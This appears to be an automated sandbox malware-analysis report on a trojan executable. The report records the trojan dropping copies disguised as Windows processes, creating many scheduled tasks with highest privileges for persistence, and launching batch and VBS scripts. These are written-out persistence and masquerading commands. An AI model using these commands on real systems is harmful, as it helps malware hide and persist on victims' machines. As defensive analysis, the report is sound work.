Source: 2RM12KtuNp.exe, 00000000.00000002.2121293997.000000001B4B0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilename( vs 2RM12KtuNp.exe
Source: 2RM12KtuNp.exe, 00000000.00000002.2121260940.000000001B430000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilename( vs 2RM12KtuNp.exe
Source: 2RM12KtuNp.exe, 00000000.00000002.2107457682.0000000002370000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameDisableUAC.dclib4 vs 2RM12KtuNp.exe
Source: 2RM12KtuNp.exe, 00000000.00000002.2121061474.000000001B41F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs 2RM12KtuNp.exe
Source: 2RM12KtuNp.exe, 00000000.00000000.2055607692.0000000000176000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamelibGLESv2.dll4 vs 2RM12KtuNp.exe
Source: 2RM12KtuNp.exe, 00000000.00000002.2119477832.000000001AD60000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilename$ vs 2RM12KtuNp.exe
Source: 2RM12KtuNp.exe, 00000000.00000002.2107404189.0000000002350000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameBSoDProtection.dclib4 vs 2RM12KtuNp.exe
Source: 2RM12KtuNp.exe, 00000000.00000002.2120101140.000000001AD80000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilename( vs 2RM12KtuNp.exe
Source: 2RM12KtuNp.exe	Binary or memory string: OriginalFilenamelibGLESv2.dll4 vs 2RM12KtuNp.exe

Source: 2RM12KtuNp.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 2RM12KtuNp.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: fuBYljHeUjtkgvlnN.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: sppsvc.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: fuBYljHeUjtkgvlnN.exe0.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: WmiPrvSE.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 2RM12KtuNp.exe, lfBKgybKIWOl2QD3Vbu.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 2RM12KtuNp.exe, lfBKgybKIWOl2QD3Vbu.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 2RM12KtuNp.exe, Rn584CfdX52nOnYl42w.cs	Cryptographic APIs: 'TransformBlock'
Source: 2RM12KtuNp.exe, Rn584CfdX52nOnYl42w.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: classification engine

Classification label: mal100.troj.evad.winEXE@46/29@1/1

Source: C:\Users\user\Desktop\2RM12KtuNp.exe

File created: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe

Jump to behavior

Source: C:\Users\user\Desktop\2RM12KtuNp.exe

File created: C:\Users\All Users\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe

Jump to behavior

Source: C:\Recovery\sppsvc.exe	Mutant created: NULL
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\85b3624db5deca048467b79a3cf7e95690756c52
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2684:120:WilError_03

Source: C:\Users\user\Desktop\2RM12KtuNp.exe

File created: C:\Users\user\AppData\Local\Temp\23hskQW7hB

Jump to behavior

Source: C:\Users\user\Desktop\2RM12KtuNp.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\LsQlNPpiOn.bat"

Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe

Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\df7dcee1-31d9-41cd-9118-ff1c3adb1964.vbs"

Source: 2RM12KtuNp.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 2RM12KtuNp.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.79%

Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process

Source: C:\Users\user\Desktop\2RM12KtuNp.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\2RM12KtuNp.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 2RM12KtuNp.exe	ReversingLabs: Detection: 76%
Source: 2RM12KtuNp.exe	Virustotal: Detection: 75%

Source: C:\Users\user\Desktop\2RM12KtuNp.exe

File read: C:\Users\user\Desktop\2RM12KtuNp.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\2RM12KtuNp.exe "C:\Users\user\Desktop\2RM12KtuNp.exe"
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 5 /tr "'C:\Users\All Users\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe'" /f
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Users\All Users\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 10 /tr "'C:\Users\All Users\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe'" /rl HIGHEST /f
Source: unknown	Process created: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe "C:\Users\All Users\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe"
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "smsss" /sc MINUTE /mo 12 /tr "'C:\Program Files\Microsoft Office 15\ClientX64\smss.exe'" /f
Source: unknown	Process created: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe "C:\Users\All Users\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe"
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Program Files\Microsoft Office 15\ClientX64\smss.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "smsss" /sc MINUTE /mo 8 /tr "'C:\Program Files\Microsoft Office 15\ClientX64\smss.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "fuBYljHeUjtkgvlnNf" /sc MINUTE /mo 10 /tr "'C:\Program Files\Windows Mail\fuBYljHeUjtkgvlnN.exe'" /f
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "fuBYljHeUjtkgvlnN" /sc ONLOGON /tr "'C:\Program Files\Windows Mail\fuBYljHeUjtkgvlnN.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "fuBYljHeUjtkgvlnNf" /sc MINUTE /mo 11 /tr "'C:\Program Files\Windows Mail\fuBYljHeUjtkgvlnN.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Recovery\sppsvc.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 7 /tr "'C:\Recovery\sppsvc.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "fuBYljHeUjtkgvlnNf" /sc MINUTE /mo 12 /tr "'C:\Recovery\fuBYljHeUjtkgvlnN.exe'" /f
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "fuBYljHeUjtkgvlnN" /sc ONLOGON /tr "'C:\Recovery\fuBYljHeUjtkgvlnN.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "fuBYljHeUjtkgvlnNf" /sc MINUTE /mo 13 /tr "'C:\Recovery\fuBYljHeUjtkgvlnN.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\LsQlNPpiOn.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: unknown	Process created: C:\Recovery\fuBYljHeUjtkgvlnN.exe C:\Recovery\fuBYljHeUjtkgvlnN.exe
Source: unknown	Process created: C:\Recovery\fuBYljHeUjtkgvlnN.exe C:\Recovery\fuBYljHeUjtkgvlnN.exe
Source: unknown	Process created: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe"
Source: unknown	Process created: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe"
Source: unknown	Process created: C:\Recovery\sppsvc.exe C:\Recovery\sppsvc.exe
Source: unknown	Process created: C:\Recovery\sppsvc.exe C:\Recovery\sppsvc.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe"
Source: unknown	Process created: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe "C:\Users\All Users\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe"
Source: unknown	Process created: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe"
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\df7dcee1-31d9-41cd-9118-ff1c3adb1964.vbs"
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\95f930af-8a5c-4110-bf02-41517346f671.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe"
Source: unknown	Process created: C:\Recovery\fuBYljHeUjtkgvlnN.exe "C:\Recovery\fuBYljHeUjtkgvlnN.exe"
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\b0c9a6b4-f4b7-4599-b561-a3049e581ced.vbs"
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\7e00ec7d-7c2b-46a0-b437-c1650ed4cfe9.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe"
Source: unknown	Process created: C:\Recovery\sppsvc.exe "C:\Recovery\sppsvc.exe"
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\LsQlNPpiOn.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe"	Jump to behavior
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\df7dcee1-31d9-41cd-9118-ff1c3adb1964.vbs"
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\95f930af-8a5c-4110-bf02-41517346f671.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe"
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\b0c9a6b4-f4b7-4599-b561-a3049e581ced.vbs"
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\7e00ec7d-7c2b-46a0-b437-c1650ed4cfe9.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe"

Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
